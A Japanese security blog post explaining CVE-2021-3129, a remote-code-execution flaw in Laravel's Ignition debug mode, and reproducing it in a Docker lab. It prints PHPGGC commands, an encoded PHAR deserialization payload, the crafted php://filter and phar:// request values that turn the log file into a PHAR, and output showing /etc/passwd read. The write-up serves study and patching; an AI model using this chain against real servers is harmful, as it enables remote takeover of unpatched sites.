前回以下の記事を書きました。
これはLaravelの脆弱性(CVE-2021-3129)で使われた攻撃方法のうち応用が効きそうな部分を紹介した記事です。本記事ではLaravelでなぜ上のような攻撃が刺さる状態だったのかという詳細について書いておきます。
こちらが発見者のブログです。脆弱性の理解についてはにこれを読めば十分なので、自分のブログでは実際に試してみた時の話とそれによって得た自分の理解を中心に書いています。
概要
Laravelのv8.4.2以下でデバッグモードを有効にしている場合に任意コード実行が可能な脆弱性が2021年の頭に公開されました (CVE-2021-3129)。正確にはLaravelが依存しているIgnitionの脆弱性です。
実際に攻撃を受けて仮想通貨のマイナーを仕込まれた以下の記事も話題になりました。
ちなみに上の記事内で紹介されているKinsingの解説記事は弊社ブログなので宣伝しておきます(以下は翻訳記事なので一次ソースではないですが)。
話を戻すと以下の条件を満たす場合に影響を受けます。
- Ignition <= 2.5.1
- Laravel <= 8.4.2
- APP_DEBUG = true
対策としてはバージョンを上げるかAPP_DEBUG = falseにすれば良いわけですが、何でこれで攻撃に繋がるのか、というのを説明します。
ちなみに本番環境でデバッグモードを有効にするのはありえないと思うかもしれませんが、自分が試した限りではLaravelのプロジェクトを普通に作るとデフォルトで APP_DEBUG = true になっていました。何か自分の作り方が悪かった可能性はありますが、自分と同じように作った人はデフォルト設定がtrueになりますし、そのままデプロイしてしまう可能性は十分あると思います。つまりデフォルト設定がセキュアじゃないので、有効にするやつが悪い!と言うよりはLaravel側の設定が良くない気がします。
詳細
APP_DEBUG=true時にエラーが起きた場合、Ignitionは自動修正機能を提供しています。例えばPHPではundefinedな変数があるとエラーになってしまうわけですが、そのエラーを検知した時に自動で修正を提案してくれます。つまり {{ $username }}
となっていてエラーが起きたのであれば {{ $username ?? '' }}
に置換しましょうか?と提案してきます。こうすると仮に $username
が定義されていなくてもデフォルト値のおかげでエラーが起きなくなります。提案ってどういうこと?となりますが、以下の画面を見てください。上のブログから引用しています。
ここで Make variable optional
とすると実際にPHPファイルが書き換えられます。自分は今までこういった機能を見たことも聞いたこともなかったので驚きました。最近Webサービスの開発に携わってないから知らないだけで他のフレームワークでもあるんでしょうか?何にせよIgnitionがHTTPリクエストを飛ばし、実際にファイルの書き換えを行ってくれます。最初説明を見ても全く理解が出来なかったのですが、自分でLaravel立ち上げてようやく意味がわかりました。「ボタン押したらファイル書き換わってるじゃん...」となりました。
プログラムを自動で修正してくれるなんて何と凄い機能だ!と思う反面、セキュリティ大丈夫かな...と気になるところです。実際には想像より遥かに安全だったようですが、それでも結局は悪用され今回の脆弱性に至っています。
以下も引用ですが、 variableName
と viewFile
がパラメータとして送られていることが分かります。どのファイルのどの変数名を書き換えるかの指定です。そして solution
の名前からしていくつかの簡単な修正がサポートされているようです。
最初はsolutionとして悪用できそうなクラスを渡すことを考えたようですが、きちんとRunnableSolutionを実装している既存クラスしか受け付けないようになっていたためそれは難しかったようです。
class SolutionProviderRepository implements SolutionProviderRepositoryContract { ... public function getSolutionForClass(string $solutionClass): ?Solution { if (! class_exists($solutionClass)) { return null; } if (! in_array(Solution::class, class_implements($solutionClass))) { return null; } return app($solutionClass); } }
そこで次に、上で使われている MakeViewVariableOptionalSolution
を使って任意のファイル書き換えが出来るかを確かめます。
class MakeViewVariableOptionalSolution implements RunnableSolution { ... public function run(array $parameters = []) { $output = $this->makeOptional($parameters); if ($output !== false) { file_put_contents($parameters['viewFile'], $output); } } public function makeOptional(array $parameters = []) { $originalContents = file_get_contents($parameters['viewFile']); // [1] $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents); // [2] $originalTokens = token_get_all(Blade::compileString($originalContents)); // [3] $newTokens = token_get_all(Blade::compileString($newContents)); $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']); if ($expectedTokens !== $newTokens) { // [4] return false; } return $newContents; } protected function generateExpectedTokens(array $originalTokens, string $variableName): array { $expectedTokens = []; foreach ($originalTokens as $token) { $expectedTokens[] = $token; if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) { $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]]; $expectedTokens[] = [T_COALESCE, '??', $token[2]]; $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]]; $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]]; } } return $expectedTokens; } ... }
少し複雑ですが、[1]で viewFile
として渡されたファイルを読み込みます。次に[2]で $variableName
を $variableName ?? ''
に置換しています。そして[3]の箇所で元々のファイルと新しいファイルをトークン化しています。その後 generateExpectedTokens
で想定されているtokenを作り新しいファイルと比較します。これが一致しない場合は[4]で makeOptional
がfalseを返して置換は実行されず終了しまう。そのため、 $variableName
経由での攻撃は難しそうです。
しかし既に前回の記事を読んでくださった方は file_get_contents
と file_put_contents
に viewFile
の値が渡されていることが気になって仕方ないと思います。 variableName
で存在しない変数を指定すればその辺りの処理は実質的に全てスキップされ以下のみが残ります。
$contents = file_get_contents($parameters['viewFile']); file_put_contents($parameters['viewFile'], $contents);
つまり viewFile
を読み込んでそのまま書き戻すことが出来ます。それなら何も変更できないじゃないかと思われるかもしれませんが、 php://
ラッパーを使うことでBase64のエンコード・デコードなどのちょっとした処理が可能になります。あとは以下の記事で紹介したように php://
のfilterをうまく工夫することでログファイルに出力されるエラーメッセージを通してログファイルをPHARに置き換えることが出来ます。
詳細は以下です。
攻撃の流れ
ということで攻撃の流れを書いておきます。各ステップの詳細は上の記事を参照してください。
- PHPGGCを使ってデシリアライズで攻撃が刺さるようなPHARを作る
- それをBase64してUTF-16に変換し、RFC2045に沿ってエンコードする
- まず最初に
consumed
フィルタを使ってログファイルをクリアする - 最初に適当な文字列を含んだペイロードを
viewFile
に含むリクエストを送る - 2で作ったペイロードを
viewFile
として送りつけエラーメッセージとしてログファイルに書き込ませる viewFile
でphp://filter
を使ってPHARの前後にあるゴミを取り除きログファイルに書き戻す- 4によってログファイルはPHARになっているため、再び
viewFile
でphar://
を指定して読み込ませる - Metadataのデシリアライズにより攻撃が刺さる
PHARの作成
この辺は知っている人には常識だと思いますが、PHPGGCというデシリアライズ攻撃をする際に便利なツールがあるので、これを使って細工したPHARを作ります。
$ git clone https://github.com/ambionics/phpggc.git $ cd phpggc $ php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o output.phar
上ではidコマンドが実行されるようなPHARを作って output.phar
に出力しています。
(Base64 + UTF-16 + RFC2045) エンコード
$ cat output.phar | base64 -w0 PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqrAQAAAgAAABEAAAABAAAAAABUAQAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7cjoyO3M6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6MjoiaWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN05TV3ivvwmru5FUE3EkaHmKbj/ukCAAAAR0JNQg==
この時、最後にパディング用の =
が入っていますがこれは1つの値のみをエンコードした場合は不要という認識です。複数のBase64エンコード文字列を連結した場合には区切りを知るために4バイトの倍数にする必要がありますが、それ以外では不要のはずなので削ります(もしもっと深い理由があったら教えて下さい)。削っておかないと上の記事で書いたようにsuffixにスタックトレースが入り文字列の途中に =
が入ってしまいPHPのBase64は失敗します。ということでsedで削ります。
$ cat output.phar | base64 -w0 | sed -E 's/=+$//g' PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqrAQAAAgAAABEAAAABAAAAAABUAQAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7cjoyO3M6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6MjoiaWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAAAXW2FhBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN05TV3ivvwmru5FUE3EkaHmKbj/ukCAAAAR0JNQg
また、UTF-16でかつRFC2045でデコードできるように =00
を各文字の後ろに足していきます。
$ cat output.phar | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g' P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00...(省略)
ログファイルのクリア
consumed
フィルタを使ってログファイルをまっさらな状態にします。
viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log
適当な文字列の送信
全体のサイズを偶数にするために、適当な文字列を viewFile
に入れて送ります。これはデコード後に消えてほしいので上で作ったペイロードは送りません。
viewFile: AA
攻撃用ペイロードの送信
上で作ったペイロードを viewFile
に入れて送ります。当然こんなファイルは存在しないので、これはNo such file or directoryとなりこの値がログファイルに書き込まれます。上の AA
と合わせてログファイルには2エントリ書き込まれている状態です。
viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00
ログファイルの上書き
現在は上の2つのペイロードを含むエントリが書きこまれている状態です。
[prefix]AA[midfix]AA[suffix] [prefix]U=00E=00s=00...[midfix]U=00E=00s=00...[suffix]
当然これはPHARとして有効ではないので、 php://filter
を使って1エントリの内容や2エントリ内の前後のゴミを消しつつPHARとして有効な値をログファイルに書き戻します。
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
このリクエストの時点でLaravelのログファイル( /path/to/storage/logs/laravel.log
)は細工されたPHARになります。
PHARの読み込み
あとは最後のリクエストでそれを読み込ませれば完了です。
viewFile: phar:///path/to/storage/logs/laravel.log
試してみる
試すためのリポジトリを作ったので自分で試したい方はどうぞ。
やられ側
やられ環境のDockerfileは以下です。
FROM php:7.3.31-alpine3.14 # Install composer RUN php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \ && php composer-setup.php \ && php -r "unlink('composer-setup.php');" \ && mv composer.phar /usr/local/bin/composer \ && chmod +x /usr/local/bin/composer # Create a laravel project RUN composer create-project --prefer-dist laravel/laravel /myapp "8.4.2" WORKDIR /myapp # Lock the ignition version RUN composer require --dev facade/ignition==2.5.1 CMD ["php", "artisan", "serve", "--host", "0.0.0.0"]
最初 composer:2
をベースイメージとして試していたのですが、PHP 8だとPoCがうまく動きませんでした。そのため一旦PHP 7にして自前でcomposerをインストールしています。
あとは laravel/laravel
を8.4.2に指定してLaravelのプロジェクトを作り、その中の依存ライブラリであるIgnitionを2.5.1にしています。 laravel/framework
のバージョンは古いバージョンにしなくてよいのか悩んだのですが、以下のように 8.62.0でも攻撃が刺さっているので laravel/framework
のバージョンは関係なさそうです。
/myapp # cat composer.lock | grep -B1 -A 1 '"name": "laravel/framework"' { "name": "laravel/framework", "version": "v8.62.0",
最後はWebサーバを起動しています。
概要にも書きましたが上のように composer create-project
でLaravelのプロジェクトを作ったら .env
のAPP_DEBUGはtrueになっていました。つまりデフォルトはデバッグモードが有効に見えます。そうなるとこのままデプロイしている人は少なくないでしょうし影響を受けるサーバは多いのではないかと思います。
/myapp # cat .env | grep DEBUG APP_DEBUG=true
攻撃側
PoCが動くように必要なライブラリを入れているだけで特に変わったことはしていません。
FROM php:7.3.31-alpine3.14 # Install dependencies RUN apk add git python3 py3-pip \ && pip install requests \ && git clone https://github.com/ambionics/phpggc.git COPY exploit.py .
PoCコードは以下のリポジトリから拝借しています。自分のリポジトリでは動かなかったところを少し直したり不要なコードを削ったりしています。
攻撃コードを見ると上で説明した順番でリクエストを送っているのが分かると思います。
実行
セットアップ
まずdocker-composeで2つのコンテナを立ち上げます。
$ git clone https://github.com/knqyf263/CVE-2021-3129.git $ cd CVE-2021-3129 $ docker-compose build $ docker-compose up -d
動作確認
http://localhost:8000/ にアクセスしてLaravelが正常に動作していることを確認します。
攻撃
あとは攻撃用に作ったコンテナに入ってスクリプトを実行します。
$ docker-compose exec attacker sh / # python3 exploit.py [*] Try to use monolog_rce1 for exploitation. [+] PHPGGC found. Generating payload and deploy it to the target [*] Result: root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin ...
/etc/passwd
を表示するようにしていたので、攻撃が成功して /etc/passwd
の中身が表示されています。
まとめ
Laravelの脆弱性(CVE-2021-3129)の動作原理を見て攻撃を試すところまで行いました。記事を2つに分けないといけないぐらいには複雑だと思いますし、大体複雑な脆弱性というのは現実には刺さらないことが多いのですがこの攻撃は割とシュッと刺さります。
PHP 8だと手元だと動きませんでしたがPHP 7を使っているところはまだまだ多いと思います。自分の検証が間違っていただけかもしれませんし、PoCを修正すれば動く可能性もあるのでPHP 8なら安全かは不明です。またデバッグモードに関してもデフォルト設定のままになっていて有効なところは結構ありそうな気がします。他にもログファイル名の推測だったりも必要ですが、デフォルトだと storage/logs/laravel.log
になりますし他の場所にあるとしても /var/log
の下だったり候補は絞りやすそうに思います。
影響バージョンも広いですし実際にKinsingのマルウェアが悪用しているぐらいなので危険度は高いと思います。時間が経っているので基本的には各組織既に対策済みだと思いますが、もし対策がまだでかつ攻撃条件を満たす場合は急いで対策しましょう(その場合は既に被害を受けている可能性が高いと思いますが)。